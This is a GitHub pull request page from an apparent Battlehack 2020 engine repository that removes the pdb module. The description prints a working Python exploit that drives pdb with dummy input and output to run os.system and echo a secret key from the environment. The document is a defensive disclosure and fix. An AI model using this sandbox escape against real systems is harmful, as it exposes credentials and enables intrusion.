Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Remove pdb #117

Merged
merged 1 commit into from
Apr 19, 2020
Merged

Remove pdb #117

merged 1 commit into from
Apr 19, 2020

Conversation

arvid220u
Copy link
Contributor

@arvid220u arvid220u commented Apr 19, 2020

It opens up the following exploit:

import pdb
from pdb import Pdb
class Hi:
    def write(self, x):
        pass
    def flush(self):
        pass
    def readline(self):
        return "c\n"
mypdb = pdb.Pdb(stdout = Hi(), stdin=Hi(), nosigint=True)
mypdb.run("import os")
mypdb.run("os.system(\"echo $BC20_GITKEY\")")

The fact that pdb might be a vulnerability was reported by a user who would like to remain anonymous.

@arvid220u
Copy link
Contributor Author

see #116 for future work on this

@arvid220u arvid220u merged commit 6848e08 into master Apr 19, 2020
@arvid220u arvid220u deleted the removepdb branch April 19, 2020 10:40
@arvid220u arvid220u added the l33t-h4ck3r-$$$ Winner of the Battlehack 2020 l33t h4ck3r prize! label Apr 24, 2020
@arvid220u arvid220u mentioned this pull request Apr 24, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
engine l33t-h4ck3r-$$$ Winner of the Battlehack 2020 l33t h4ck3r prize!
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant